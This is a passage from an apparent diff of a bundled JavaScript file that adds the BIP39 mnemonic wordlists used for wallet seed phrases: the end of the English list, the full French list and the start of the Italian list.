"sudden", + "suffer", + "sugar", + "suggest", + "suit", + "summer", + "sun", + "sunny", + "sunset", + "super", + "supply", + "supreme", + "sure", + "surface", + "surge", + "surprise", + "surround", + "survey", + "suspect", + "sustain", + "swallow", + "swamp", + "swap", + "swarm", + "swear", + "sweet", + "swift", + "swim", + "swing", + "switch", + "sword", + "symbol", + "symptom", + "syrup", + "system", + "table", + "tackle", + "tag", + "tail", + "talent", + "talk", + "tank", + "tape", + "target", + "task", + "taste", + "tattoo", + "taxi", + "teach", + "team", + "tell", + "ten", + "tenant", + "tennis", + "tent", + "term", + "test", + "text", + "thank", + "that", + "theme", + "then", + "theory", + "there", + "they", + "thing", + "this", + "thought", + "three", + "thrive", + "throw", + "thumb", + "thunder", + "ticket", + "tide", + "tiger", + "tilt", + "timber", + "time", + "tiny", + "tip", + "tired", + "tissue", + "title", + "toast", + "tobacco", + "today", + "toddler", + "toe", + "together", + "toilet", + "token", + "tomato", + "tomorrow", + "tone", + "tongue", + "tonight", + "tool", + "tooth", + "top", + "topic", + "topple", + "torch", + "tornado", + "tortoise", + "toss", + "total", + "tourist", + "toward", + "tower", + "town", + "toy", + "track", + "trade", + "traffic", + "tragic", + "train", + "transfer", + "trap", + "trash", + "travel", + "tray", + "treat", + "tree", + "trend", + "trial", + "tribe", + "trick", + "trigger", + "trim", + "trip", + "trophy", + "trouble", + "truck", + "true", + "truly", + "trumpet", + "trust", + "truth", + "try", + "tube", + "tuition", + "tumble", + "tuna", + "tunnel", + "turkey", + "turn", + "turtle", + "twelve", + "twenty", + "twice", + "twin", + "twist", + "two", + "type", + "typical", + "ugly", + "umbrella", + "unable", + "unaware", + "uncle", + "uncover", + "under", + "undo", + "unfair", + "unfold", + "unhappy", + "uniform", + "unique", + "unit", + "universe", + "unknown", + "unlock", + "until", + "unusual", + "unveil", + "update", + "upgrade", + "uphold", + "upon", + "upper", + "upset", + "urban", + "urge", + "usage", + "use", + "used", + "useful", + "useless", + "usual", + "utility", + "vacant", + "vacuum", + "vague", + "valid", + "valley", + "valve", + "van", + "vanish", + "vapor", + "various", + "vast", + "vault", + "vehicle", + "velvet", + "vendor", + "venture", + "venue", + "verb", + "verify", + "version", + "very", + "vessel", + "veteran", + "viable", + "vibrant", + "vicious", + "victory", + "video", + "view", + "village", + "vintage", + "violin", + "virtual", + "virus", + "visa", + "visit", + "visual", + "vital", + "vivid", + "vocal", + "voice", + "void", + "volcano", + "volume", + "vote", + "voyage", + "wage", + "wagon", + "wait", + "walk", + "wall", + "walnut", + "want", + "warfare", + "warm", + "warrior", + "wash", + "wasp", + "waste", + "water", + "wave", + "way", + "wealth", + "weapon", + "wear", + "weasel", + "weather", + "web", + "wedding", + "weekend", + "weird", + "welcome", + "west", + "wet", + "whale", + "what", + "wheat", + "wheel", + "when", + "where", + "whip", + "whisper", + "wide", + "width", + "wife", + "wild", + "will", + "win", + "window", + "wine", + "wing", + "wink", + "winner", + "winter", + "wire", + "wisdom", + "wise", + "wish", + "witness", + "wolf", + "woman", + "wonder", + "wood", + "wool", + "word", + "work", + "world", + "worry", + "worth", + "wrap", + "wreck", + "wrestle", + "wrist", + "write", + "wrong", + "yard", + "year", + "yellow", + "you", + "young", + "youth", + "zebra", + "zero", + "zone", + "zoo" + ]; +}); + +// node_modules/bip39/wordlists/french.json +var require_french = __commonJS((exports, module) => { + module.exports = [ + "abaisser", + "abandon", + "abdiquer", + "abeille", + "abolir", + "aborder", + "aboutir", + "aboyer", + "abrasif", + "abreuver", + "abriter", + "abroger", + "abrupt", + "absence", + "absolu", + "absurde", + "abusif", + "abyssal", + "académie", + "acajou", + "acarien", + "accabler", + "accepter", + "acclamer", + "accolade", + "accroche", + "accuser", + "acerbe", + "achat", + "acheter", + "aciduler", + "acier", + "acompte", + "acquérir", + "acronyme", + "acteur", + "actif", + "actuel", + "adepte", + "adéquat", + "adhésif", + "adjectif", + "adjuger", + "admettre", + "admirer", + "adopter", + "adorer", + "adoucir", + "adresse", + "adroit", + "adulte", + "adverbe", + "aérer", + "aéronef", + "affaire", + "affecter", + "affiche", + "affreux", + "affubler", + "agacer", + "agencer", + "agile", + "agiter", + "agrafer", + "agréable", + "agrume", + "aider", + "aiguille", + "ailier", + "aimable", + "aisance", + "ajouter", + "ajuster", + "alarmer", + "alchimie", + "alerte", + "algèbre", + "algue", + "aliéner", + "aliment", + "alléger", + "alliage", + "allouer", + "allumer", + "alourdir", + "alpaga", + "altesse", + "alvéole", + "amateur", + "ambigu", + "ambre", + "aménager", + "amertume", + "amidon", + "amiral", + "amorcer", + "amour", + "amovible", + "amphibie", + "ampleur", + "amusant", + "analyse", + "anaphore", + "anarchie", + "anatomie", + "ancien", + "anéantir", + "angle", + "angoisse", + "anguleux", + "animal", + "annexer", + "annonce", + "annuel", + "anodin", + "anomalie", + "anonyme", + "anormal", + "antenne", + "antidote", + "anxieux", + "apaiser", + "apéritif", + "aplanir", + "apologie", + "appareil", + "appeler", + "apporter", + "appuyer", + "aquarium", + "aqueduc", + "arbitre", + "arbuste", + "ardeur", + "ardoise", + "argent", + "arlequin", + "armature", + "armement", + "armoire", + "armure", + "arpenter", + "arracher", + "arriver", + "arroser", + "arsenic", + "artériel", + "article", + "aspect", + "asphalte", + "aspirer", + "assaut", + "asservir", + "assiette", + "associer", + "assurer", + "asticot", + "astre", + "astuce", + "atelier", + "atome", + "atrium", + "atroce", + "attaque", + "attentif", + "attirer", + "attraper", + "aubaine", + "auberge", + "audace", + "audible", + "augurer", + "aurore", + "automne", + "autruche", + "avaler", + "avancer", + "avarice", + "avenir", + "averse", + "aveugle", + "aviateur", + "avide", + "avion", + "aviser", + "avoine", + "avouer", + "avril", + "axial", + "axiome", + "badge", + "bafouer", + "bagage", + "baguette", + "baignade", + "balancer", + "balcon", + "baleine", + "balisage", + "bambin", + "bancaire", + "bandage", + "banlieue", + "bannière", + "banquier", + "barbier", + "baril", + "baron", + "barque", + "barrage", + "bassin", + "bastion", + "bataille", + "bateau", + "batterie", + "baudrier", + "bavarder", + "belette", + "bélier", + "belote", + "bénéfice", + "berceau", + "berger", + "berline", + "bermuda", + "besace", + "besogne", + "bétail", + "beurre", + "biberon", + "bicycle", + "bidule", + "bijou", + "bilan", + "bilingue", + "billard", + "binaire", + "biologie", + "biopsie", + "biotype", + "biscuit", + "bison", + "bistouri", + "bitume", + "bizarre", + "blafard", + "blague", + "blanchir", + "blessant", + "blinder", + "blond", + "bloquer", + "blouson", + "bobard", + "bobine", + "boire", + "boiser", + "bolide", + "bonbon", + "bondir", + "bonheur", + "bonifier", + "bonus", + "bordure", + "borne", + "botte", + "boucle", + "boueux", + "bougie", + "boulon", + "bouquin", + "bourse", + "boussole", + "boutique", + "boxeur", + "branche", + "brasier", + "brave", + "brebis", + "brèche", + "breuvage", + "bricoler", + "brigade", + "brillant", + "brioche", + "brique", + "brochure", + "broder", + "bronzer", + "brousse", + "broyeur", + "brume", + "brusque", + "brutal", + "bruyant", + "buffle", + "buisson", + "bulletin", + "bureau", + "burin", + "bustier", + "butiner", + "butoir", + "buvable", + "buvette", + "cabanon", + "cabine", + "cachette", + "cadeau", + "cadre", + "caféine", + "caillou", + "caisson", + "calculer", + "calepin", + "calibre", + "calmer", + "calomnie", + "calvaire", + "camarade", + "caméra", + "camion", + "campagne", + "canal", + "caneton", + "canon", + "cantine", + "canular", + "capable", + "caporal", + "caprice", + "capsule", + "capter", + "capuche", + "carabine", + "carbone", + "caresser", + "caribou", + "carnage", + "carotte", + "carreau", + "carton", + "cascade", + "casier", + "casque", + "cassure", + "causer", + "caution", + "cavalier", + "caverne", + "caviar", + "cédille", + "ceinture", + "céleste", + "cellule", + "cendrier", + "censurer", + "central", + "cercle", + "cérébral", + "cerise", + "cerner", + "cerveau", + "cesser", + "chagrin", + "chaise", + "chaleur", + "chambre", + "chance", + "chapitre", + "charbon", + "chasseur", + "chaton", + "chausson", + "chavirer", + "chemise", + "chenille", + "chéquier", + "chercher", + "cheval", + "chien", + "chiffre", + "chignon", + "chimère", + "chiot", + "chlorure", + "chocolat", + "choisir", + "chose", + "chouette", + "chrome", + "chute", + "cigare", + "cigogne", + "cimenter", + "cinéma", + "cintrer", + "circuler", + "cirer", + "cirque", + "citerne", + "citoyen", + "citron", + "civil", + "clairon", + "clameur", + "claquer", + "classe", + "clavier", + "client", + "cligner", + "climat", + "clivage", + "cloche", + "clonage", + "cloporte", + "cobalt", + "cobra", + "cocasse", + "cocotier", + "coder", + "codifier", + "coffre", + "cogner", + "cohésion", + "coiffer", + "coincer", + "colère", + "colibri", + "colline", + "colmater", + "colonel", + "combat", + "comédie", + "commande", + "compact", + "concert", + "conduire", + "confier", + "congeler", + "connoter", + "consonne", + "contact", + "convexe", + "copain", + "copie", + "corail", + "corbeau", + "cordage", + "corniche", + "corpus", + "correct", + "cortège", + "cosmique", + "costume", + "coton", + "coude", + "coupure", + "courage", + "couteau", + "couvrir", + "coyote", + "crabe", + "crainte", + "cravate", + "crayon", + "créature", + "créditer", + "crémeux", + "creuser", + "crevette", + "cribler", + "crier", + "cristal", + "critère", + "croire", + "croquer", + "crotale", + "crucial", + "cruel", + "crypter", + "cubique", + "cueillir", + "cuillère", + "cuisine", + "cuivre", + "culminer", + "cultiver", + "cumuler", + "cupide", + "curatif", + "curseur", + "cyanure", + "cycle", + "cylindre", + "cynique", + "daigner", + "damier", + "danger", + "danseur", + "dauphin", + "débattre", + "débiter", + "déborder", + "débrider", + "débutant", + "décaler", + "décembre", + "déchirer", + "décider", + "déclarer", + "décorer", + "décrire", + "décupler", + "dédale", + "déductif", + "déesse", + "défensif", + "défiler", + "défrayer", + "dégager", + "dégivrer", + "déglutir", + "dégrafer", + "déjeuner", + "délice", + "déloger", + "demander", + "demeurer", + "démolir", + "dénicher", + "dénouer", + "dentelle", + "dénuder", + "départ", + "dépenser", + "déphaser", + "déplacer", + "déposer", + "déranger", + "dérober", + "désastre", + "descente", + "désert", + "désigner", + "désobéir", + "dessiner", + "destrier", + "détacher", + "détester", + "détourer", + "détresse", + "devancer", + "devenir", + "deviner", + "devoir", + "diable", + "dialogue", + "diamant", + "dicter", + "différer", + "digérer", + "digital", + "digne", + "diluer", + "dimanche", + "diminuer", + "dioxyde", + "directif", + "diriger", + "discuter", + "disposer", + "dissiper", + "distance", + "divertir", + "diviser", + "docile", + "docteur", + "dogme", + "doigt", + "domaine", + "domicile", + "dompter", + "donateur", + "donjon", + "donner", + "dopamine", + "dortoir", + "dorure", + "dosage", + "doseur", + "dossier", + "dotation", + "douanier", + "double", + "douceur", + "douter", + "doyen", + "dragon", + "draper", + "dresser", + "dribbler", + "droiture", + "duperie", + "duplexe", + "durable", + "durcir", + "dynastie", + "éblouir", + "écarter", + "écharpe", + "échelle", + "éclairer", + "éclipse", + "éclore", + "écluse", + "école", + "économie", + "écorce", + "écouter", + "écraser", + "écrémer", + "écrivain", + "écrou", + "écume", + "écureuil", + "édifier", + "éduquer", + "effacer", + "effectif", + "effigie", + "effort", + "effrayer", + "effusion", + "égaliser", + "égarer", + "éjecter", + "élaborer", + "élargir", + "électron", + "élégant", + "éléphant", + "élève", + "éligible", + "élitisme", + "éloge", + "élucider", + "éluder", + "emballer", + "embellir", + "embryon", + "émeraude", + "émission", + "emmener", + "émotion", + "émouvoir", + "empereur", + "employer", + "emporter", + "emprise", + "émulsion", + "encadrer", + "enchère", + "enclave", + "encoche", + "endiguer", + "endosser", + "endroit", + "enduire", + "énergie", + "enfance", + "enfermer", + "enfouir", + "engager", + "engin", + "englober", + "énigme", + "enjamber", + "enjeu", + "enlever", + "ennemi", + "ennuyeux", + "enrichir", + "enrobage", + "enseigne", + "entasser", + "entendre", + "entier", + "entourer", + "entraver", + "énumérer", + "envahir", + "enviable", + "envoyer", + "enzyme", + "éolien", + "épaissir", + "épargne", + "épatant", + "épaule", + "épicerie", + "épidémie", + "épier", + "épilogue", + "épine", + "épisode", + "épitaphe", + "époque", + "épreuve", + "éprouver", + "épuisant", + "équerre", + "équipe", + "ériger", + "érosion", + "erreur", + "éruption", + "escalier", + "espadon", + "espèce", + "espiègle", + "espoir", + "esprit", + "esquiver", + "essayer", + "essence", + "essieu", + "essorer", + "estime", + "estomac", + "estrade", + "étagère", + "étaler", + "étanche", + "étatique", + "éteindre", + "étendoir", + "éternel", + "éthanol", + "éthique", + "ethnie", + "étirer", + "étoffer", + "étoile", + "étonnant", + "étourdir", + "étrange", + "étroit", + "étude", + "euphorie", + "évaluer", + "évasion", + "éventail", + "évidence", + "éviter", + "évolutif", + "évoquer", + "exact", + "exagérer", + "exaucer", + "exceller", + "excitant", + "exclusif", + "excuse", + "exécuter", + "exemple", + "exercer", + "exhaler", + "exhorter", + "exigence", + "exiler", + "exister", + "exotique", + "expédier", + "explorer", + "exposer", + "exprimer", + "exquis", + "extensif", + "extraire", + "exulter", + "fable", + "fabuleux", + "facette", + "facile", + "facture", + "faiblir", + "falaise", + "fameux", + "famille", + "farceur", + "farfelu", + "farine", + "farouche", + "fasciner", + "fatal", + "fatigue", + "faucon", + "fautif", + "faveur", + "favori", + "fébrile", + "féconder", + "fédérer", + "félin", + "femme", + "fémur", + "fendoir", + "féodal", + "fermer", + "féroce", + "ferveur", + "festival", + "feuille", + "feutre", + "février", + "fiasco", + "ficeler", + "fictif", + "fidèle", + "figure", + "filature", + "filetage", + "filière", + "filleul", + "filmer", + "filou", + "filtrer", + "financer", + "finir", + "fiole", + "firme", + "fissure", + "fixer", + "flairer", + "flamme", + "flasque", + "flatteur", + "fléau", + "flèche", + "fleur", + "flexion", + "flocon", + "flore", + "fluctuer", + "fluide", + "fluvial", + "folie", + "fonderie", + "fongible", + "fontaine", + "forcer", + "forgeron", + "formuler", + "fortune", + "fossile", + "foudre", + "fougère", + "fouiller", + "foulure", + "fourmi", + "fragile", + "fraise", + "franchir", + "frapper", + "frayeur", + "frégate", + "freiner", + "frelon", + "frémir", + "frénésie", + "frère", + "friable", + "friction", + "frisson", + "frivole", + "froid", + "fromage", + "frontal", + "frotter", + "fruit", + "fugitif", + "fuite", + "fureur", + "furieux", + "furtif", + "fusion", + "futur", + "gagner", + "galaxie", + "galerie", + "gambader", + "garantir", + "gardien", + "garnir", + "garrigue", + "gazelle", + "gazon", + "géant", + "gélatine", + "gélule", + "gendarme", + "général", + "génie", + "genou", + "gentil", + "géologie", + "géomètre", + "géranium", + "germe", + "gestuel", + "geyser", + "gibier", + "gicler", + "girafe", + "givre", + "glace", + "glaive", + "glisser", + "globe", + "gloire", + "glorieux", + "golfeur", + "gomme", + "gonfler", + "gorge", + "gorille", + "goudron", + "gouffre", + "goulot", + "goupille", + "gourmand", + "goutte", + "graduel", + "graffiti", + "graine", + "grand", + "grappin", + "gratuit", + "gravir", + "grenat", + "griffure", + "griller", + "grimper", + "grogner", + "gronder", + "grotte", + "groupe", + "gruger", + "grutier", + "gruyère", + "guépard", + "guerrier", + "guide", + "guimauve", + "guitare", + "gustatif", + "gymnaste", + "gyrostat", + "habitude", + "hachoir", + "halte", + "hameau", + "hangar", + "hanneton", + "haricot", + "harmonie", + "harpon", + "hasard", + "hélium", + "hématome", + "herbe", + "hérisson", + "hermine", + "héron", + "hésiter", + "heureux", + "hiberner", + "hibou", + "hilarant", + "histoire", + "hiver", + "homard", + "hommage", + "homogène", + "honneur", + "honorer", + "honteux", + "horde", + "horizon", + "horloge", + "hormone", + "horrible", + "houleux", + "housse", + "hublot", + "huileux", + "humain", + "humble", + "humide", + "humour", + "hurler", + "hydromel", + "hygiène", + "hymne", + "hypnose", + "idylle", + "ignorer", + "iguane", + "illicite", + "illusion", + "image", + "imbiber", + "imiter", + "immense", + "immobile", + "immuable", + "impact", + "impérial", + "implorer", + "imposer", + "imprimer", + "imputer", + "incarner", + "incendie", + "incident", + "incliner", + "incolore", + "indexer", + "indice", + "inductif", + "inédit", + "ineptie", + "inexact", + "infini", + "infliger", + "informer", + "infusion", + "ingérer", + "inhaler", + "inhiber", + "injecter", + "injure", + "innocent", + "inoculer", + "inonder", + "inscrire", + "insecte", + "insigne", + "insolite", + "inspirer", + "instinct", + "insulter", + "intact", + "intense", + "intime", + "intrigue", + "intuitif", + "inutile", + "invasion", + "inventer", + "inviter", + "invoquer", + "ironique", + "irradier", + "irréel", + "irriter", + "isoler", + "ivoire", + "ivresse", + "jaguar", + "jaillir", + "jambe", + "janvier", + "jardin", + "jauger", + "jaune", + "javelot", + "jetable", + "jeton", + "jeudi", + "jeunesse", + "joindre", + "joncher", + "jongler", + "joueur", + "jouissif", + "journal", + "jovial", + "joyau", + "joyeux", + "jubiler", + "jugement", + "junior", + "jupon", + "juriste", + "justice", + "juteux", + "juvénile", + "kayak", + "kimono", + "kiosque", + "label", + "labial", + "labourer", + "lacérer", + "lactose", + "lagune", + "laine", + "laisser", + "laitier", + "lambeau", + "lamelle", + "lampe", + "lanceur", + "langage", + "lanterne", + "lapin", + "largeur", + "larme", + "laurier", + "lavabo", + "lavoir", + "lecture", + "légal", + "léger", + "légume", + "lessive", + "lettre", + "levier", + "lexique", + "lézard", + "liasse", + "libérer", + "libre", + "licence", + "licorne", + "liège", + "lièvre", + "ligature", + "ligoter", + "ligue", + "limer", + "limite", + "limonade", + "limpide", + "linéaire", + "lingot", + "lionceau", + "liquide", + "lisière", + "lister", + "lithium", + "litige", + "littoral", + "livreur", + "logique", + "lointain", + "loisir", + "lombric", + "loterie", + "louer", + "lourd", + "loutre", + "louve", + "loyal", + "lubie", + "lucide", + "lucratif", + "lueur", + "lugubre", + "luisant", + "lumière", + "lunaire", + "lundi", + "luron", + "lutter", + "luxueux", + "machine", + "magasin", + "magenta", + "magique", + "maigre", + "maillon", + "maintien", + "mairie", + "maison", + "majorer", + "malaxer", + "maléfice", + "malheur", + "malice", + "mallette", + "mammouth", + "mandater", + "maniable", + "manquant", + "manteau", + "manuel", + "marathon", + "marbre", + "marchand", + "mardi", + "maritime", + "marqueur", + "marron", + "marteler", + "mascotte", + "massif", + "matériel", + "matière", + "matraque", + "maudire", + "maussade", + "mauve", + "maximal", + "méchant", + "méconnu", + "médaille", + "médecin", + "méditer", + "méduse", + "meilleur", + "mélange", + "mélodie", + "membre", + "mémoire", + "menacer", + "mener", + "menhir", + "mensonge", + "mentor", + "mercredi", + "mérite", + "merle", + "messager", + "mesure", + "métal", + "météore", + "méthode", + "métier", + "meuble", + "miauler", + "microbe", + "miette", + "mignon", + "migrer", + "milieu", + "million", + "mimique", + "mince", + "minéral", + "minimal", + "minorer", + "minute", + "miracle", + "miroiter", + "missile", + "mixte", + "mobile", + "moderne", + "moelleux", + "mondial", + "moniteur", + "monnaie", + "monotone", + "monstre", + "montagne", + "monument", + "moqueur", + "morceau", + "morsure", + "mortier", + "moteur", + "motif", + "mouche", + "moufle", + "moulin", + "mousson", + "mouton", + "mouvant", + "multiple", + "munition", + "muraille", + "murène", + "murmure", + "muscle", + "muséum", + "musicien", + "mutation", + "muter", + "mutuel", + "myriade", + "myrtille", + "mystère", + "mythique", + "nageur", + "nappe", + "narquois", + "narrer", + "natation", + "nation", + "nature", + "naufrage", + "nautique", + "navire", + "nébuleux", + "nectar", + "néfaste", + "négation", + "négliger", + "négocier", + "neige", + "nerveux", + "nettoyer", + "neurone", + "neutron", + "neveu", + "niche", + "nickel", + "nitrate", + "niveau", + "noble", + "nocif", + "nocturne", + "noirceur", + "noisette", + "nomade", + "nombreux", + "nommer", + "normatif", + "notable", + "notifier", + "notoire", + "nourrir", + "nouveau", + "novateur", + "novembre", + "novice", + "nuage", + "nuancer", + "nuire", + "nuisible", + "numéro", + "nuptial", + "nuque", + "nutritif", + "obéir", + "objectif", + "obliger", + "obscur", + "observer", + "obstacle", + "obtenir", + "obturer", + "occasion", + "occuper", + "océan", + "octobre", + "octroyer", + "octupler", + "oculaire", + "odeur", + "odorant", + "offenser", + "officier", + "offrir", + "ogive", + "oiseau", + "oisillon", + "olfactif", + "olivier", + "ombrage", + "omettre", + "onctueux", + "onduler", + "onéreux", + "onirique", + "opale", + "opaque", + "opérer", + "opinion", + "opportun", + "opprimer", + "opter", + "optique", + "orageux", + "orange", + "orbite", + "ordonner", + "oreille", + "organe", + "orgueil", + "orifice", + "ornement", + "orque", + "ortie", + "osciller", + "osmose", + "ossature", + "otarie", + "ouragan", + "ourson", + "outil", + "outrager", + "ouvrage", + "ovation", + "oxyde", + "oxygène", + "ozone", + "paisible", + "palace", + "palmarès", + "palourde", + "palper", + "panache", + "panda", + "pangolin", + "paniquer", + "panneau", + "panorama", + "pantalon", + "papaye", + "papier", + "papoter", + "papyrus", + "paradoxe", + "parcelle", + "paresse", + "parfumer", + "parler", + "parole", + "parrain", + "parsemer", + "partager", + "parure", + "parvenir", + "passion", + "pastèque", + "paternel", + "patience", + "patron", + "pavillon", + "pavoiser", + "payer", + "paysage", + "peigne", + "peintre", + "pelage", + "pélican", + "pelle", + "pelouse", + "peluche", + "pendule", + "pénétrer", + "pénible", + "pensif", + "pénurie", + "pépite", + "péplum", + "perdrix", + "perforer", + "période", + "permuter", + "perplexe", + "persil", + "perte", + "peser", + "pétale", + "petit", + "pétrir", + "peuple", + "pharaon", + "phobie", + "phoque", + "photon", + "phrase", + "physique", + "piano", + "pictural", + "pièce", + "pierre", + "pieuvre", + "pilote", + "pinceau", + "pipette", + "piquer", + "pirogue", + "piscine", + "piston", + "pivoter", + "pixel", + "pizza", + "placard", + "plafond", + "plaisir", + "planer", + "plaque", + "plastron", + "plateau", + "pleurer", + "plexus", + "pliage", + "plomb", + "plonger", + "pluie", + "plumage", + "pochette", + "poésie", + "poète", + "pointe", + "poirier", + "poisson", + "poivre", + "polaire", + "policier", + "pollen", + "polygone", + "pommade", + "pompier", + "ponctuel", + "pondérer", + "poney", + "portique", + "position", + "posséder", + "posture", + "potager", + "poteau", + "potion", + "pouce", + "poulain", + "poumon", + "pourpre", + "poussin", + "pouvoir", + "prairie", + "pratique", + "précieux", + "prédire", + "préfixe", + "prélude", + "prénom", + "présence", + "prétexte", + "prévoir", + "primitif", + "prince", + "prison", + "priver", + "problème", + "procéder", + "prodige", + "profond", + "progrès", + "proie", + "projeter", + "prologue", + "promener", + "propre", + "prospère", + "protéger", + "prouesse", + "proverbe", + "prudence", + "pruneau", + "psychose", + "public", + "puceron", + "puiser", + "pulpe", + "pulsar", + "punaise", + "punitif", + "pupitre", + "purifier", + "puzzle", + "pyramide", + "quasar", + "querelle", + "question", + "quiétude", + "quitter", + "quotient", + "racine", + "raconter", + "radieux", + "ragondin", + "raideur", + "raisin", + "ralentir", + "rallonge", + "ramasser", + "rapide", + "rasage", + "ratisser", + "ravager", + "ravin", + "rayonner", + "réactif", + "réagir", + "réaliser", + "réanimer", + "recevoir", + "réciter", + "réclamer", + "récolter", + "recruter", + "reculer", + "recycler", + "rédiger", + "redouter", + "refaire", + "réflexe", + "réformer", + "refrain", + "refuge", + "régalien", + "région", + "réglage", + "régulier", + "réitérer", + "rejeter", + "rejouer", + "relatif", + "relever", + "relief", + "remarque", + "remède", + "remise", + "remonter", + "remplir", + "remuer", + "renard", + "renfort", + "renifler", + "renoncer", + "rentrer", + "renvoi", + "replier", + "reporter", + "reprise", + "reptile", + "requin", + "réserve", + "résineux", + "résoudre", + "respect", + "rester", + "résultat", + "rétablir", + "retenir", + "réticule", + "retomber", + "retracer", + "réunion", + "réussir", + "revanche", + "revivre", + "révolte", + "révulsif", + "richesse", + "rideau", + "rieur", + "rigide", + "rigoler", + "rincer", + "riposter", + "risible", + "risque", + "rituel", + "rival", + "rivière", + "rocheux", + "romance", + "rompre", + "ronce", + "rondin", + "roseau", + "rosier", + "rotatif", + "rotor", + "rotule", + "rouge", + "rouille", + "rouleau", + "routine", + "royaume", + "ruban", + "rubis", + "ruche", + "ruelle", + "rugueux", + "ruiner", + "ruisseau", + "ruser", + "rustique", + "rythme", + "sabler", + "saboter", + "sabre", + "sacoche", + "safari", + "sagesse", + "saisir", + "salade", + "salive", + "salon", + "saluer", + "samedi", + "sanction", + "sanglier", + "sarcasme", + "sardine", + "saturer", + "saugrenu", + "saumon", + "sauter", + "sauvage", + "savant", + "savonner", + "scalpel", + "scandale", + "scélérat", + "scénario", + "sceptre", + "schéma", + "science", + "scinder", + "score", + "scrutin", + "sculpter", + "séance", + "sécable", + "sécher", + "secouer", + "sécréter", + "sédatif", + "séduire", + "seigneur", + "séjour", + "sélectif", + "semaine", + "sembler", + "semence", + "séminal", + "sénateur", + "sensible", + "sentence", + "séparer", + "séquence", + "serein", + "sergent", + "sérieux", + "serrure", + "sérum", + "service", + "sésame", + "sévir", + "sevrage", + "sextuple", + "sidéral", + "siècle", + "siéger", + "siffler", + "sigle", + "signal", + "silence", + "silicium", + "simple", + "sincère", + "sinistre", + "siphon", + "sirop", + "sismique", + "situer", + "skier", + "social", + "socle", + "sodium", + "soigneux", + "soldat", + "soleil", + "solitude", + "soluble", + "sombre", + "sommeil", + "somnoler", + "sonde", + "songeur", + "sonnette", + "sonore", + "sorcier", + "sortir", + "sosie", + "sottise", + "soucieux", + "soudure", + "souffle", + "soulever", + "soupape", + "source", + "soutirer", + "souvenir", + "spacieux", + "spatial", + "spécial", + "sphère", + "spiral", + "stable", + "station", + "sternum", + "stimulus", + "stipuler", + "strict", + "studieux", + "stupeur", + "styliste", + "sublime", + "substrat", + "subtil", + "subvenir", + "succès", + "sucre", + "suffixe", + "suggérer", + "suiveur", + "sulfate", + "superbe", + "supplier", + "surface", + "suricate", + "surmener", + "surprise", + "sursaut", + "survie", + "suspect", + "syllabe", + "symbole", + "symétrie", + "synapse", + "syntaxe", + "système", + "tabac", + "tablier", + "tactile", + "tailler", + "talent", + "talisman", + "talonner", + "tambour", + "tamiser", + "tangible", + "tapis", + "taquiner", + "tarder", + "tarif", + "tartine", + "tasse", + "tatami", + "tatouage", + "taupe", + "taureau", + "taxer", + "témoin", + "temporel", + "tenaille", + "tendre", + "teneur", + "tenir", + "tension", + "terminer", + "terne", + "terrible", + "tétine", + "texte", + "thème", + "théorie", + "thérapie", + "thorax", + "tibia", + "tiède", + "timide", + "tirelire", + "tiroir", + "tissu", + "titane", + "titre", + "tituber", + "toboggan", + "tolérant", + "tomate", + "tonique", + "tonneau", + "toponyme", + "torche", + "tordre", + "tornade", + "torpille", + "torrent", + "torse", + "tortue", + "totem", + "toucher", + "tournage", + "tousser", + "toxine", + "traction", + "trafic", + "tragique", + "trahir", + "train", + "trancher", + "travail", + "trèfle", + "tremper", + "trésor", + "treuil", + "triage", + "tribunal", + "tricoter", + "trilogie", + "triomphe", + "tripler", + "triturer", + "trivial", + "trombone", + "tronc", + "tropical", + "troupeau", + "tuile", + "tulipe", + "tumulte", + "tunnel", + "turbine", + "tuteur", + "tutoyer", + "tuyau", + "tympan", + "typhon", + "typique", + "tyran", + "ubuesque", + "ultime", + "ultrason", + "unanime", + "unifier", + "union", + "unique", + "unitaire", + "univers", + "uranium", + "urbain", + "urticant", + "usage", + "usine", + "usuel", + "usure", + "utile", + "utopie", + "vacarme", + "vaccin", + "vagabond", + "vague", + "vaillant", + "vaincre", + "vaisseau", + "valable", + "valise", + "vallon", + "valve", + "vampire", + "vanille", + "vapeur", + "varier", + "vaseux", + "vassal", + "vaste", + "vecteur", + "vedette", + "végétal", + "véhicule", + "veinard", + "véloce", + "vendredi", + "vénérer", + "venger", + "venimeux", + "ventouse", + "verdure", + "vérin", + "vernir", + "verrou", + "verser", + "vertu", + "veston", + "vétéran", + "vétuste", + "vexant", + "vexer", + "viaduc", + "viande", + "victoire", + "vidange", + "vidéo", + "vignette", + "vigueur", + "vilain", + "village", + "vinaigre", + "violon", + "vipère", + "virement", + "virtuose", + "virus", + "visage", + "viseur", + "vision", + "visqueux", + "visuel", + "vital", + "vitesse", + "viticole", + "vitrine", + "vivace", + "vivipare", + "vocation", + "voguer", + "voile", + "voisin", + "voiture", + "volaille", + "volcan", + "voltiger", + "volume", + "vorace", + "vortex", + "voter", + "vouloir", + "voyage", + "voyelle", + "wagon", + "xénon", + "yacht", + "zèbre", + "zénith", + "zeste", + "zoologie" + ]; +}); + +// node_modules/bip39/wordlists/italian.json +var require_italian = __commonJS((exports, module) => { + module.exports = [ + "abaco", + "abbaglio", + "abbinato", + "abete", + "abisso", + "abolire", + "abrasivo", + "abrogato", + "accadere", + "accenno", + "accusato", + "acetone", + "achille", + "acido", + "acqua", + "acre", + "acrilico", + "acrobata", + "acuto", + "adagio", + "addebito", + "addome", + "adeguato", + "aderire", + "adipe", + "adottare", + "adulare", + "affabile", + "affetto", + "affisso", + "affranto", + "aforisma", + "afoso", + "africano", + "agave", + "agente", + "agevole", + "aggancio", + "agire", + "agitare", + "agonismo", + "agricolo", + "agrumeto", + "aguzzo", + "alabarda", + "alato", + "albatro", + "alberato", + "albo", + "albume", + "alce", + "alcolico", + "alettone", + "alfa", + "algebra", + "aliante", + "alibi", + "alimento", + "allagato", + "allegro", + "allievo", + "allodola", + "allusivo", + "almeno", + "alogeno", + "alpaca", + "alpestre", + "altalena", + "alterno", + "alticcio", + "altrove", + "alunno", + "alveolo", + "alzare", + "amalgama", + "amanita", + "amarena", + "ambito", + "ambrato", + "ameba", + "america", + "ametista", + "amico", + "ammasso", + "ammenda", + "ammirare", + "ammonito", + "amore", + "ampio", + "ampliare", + "amuleto", + "anacardo", + "anagrafe", + "analista", + "anarchia", + "anatra", + "anca", + "ancella", + "ancora", + "andare", + "andrea", + "anello", + "angelo", + "angolare", + "angusto", + "anima", + "annegare", + "annidato", + "anno", + "annuncio", + "anonimo", + "anticipo", + "anzi", + "apatico", + "apertura", + "apode", + "apparire", + "appetito", + "appoggio", + "approdo", + "appunto", + "aprile", + "arabica", + "arachide", + "aragosta", + "araldica", + "arancio", + "aratura", + "arazzo", + "arbitro", 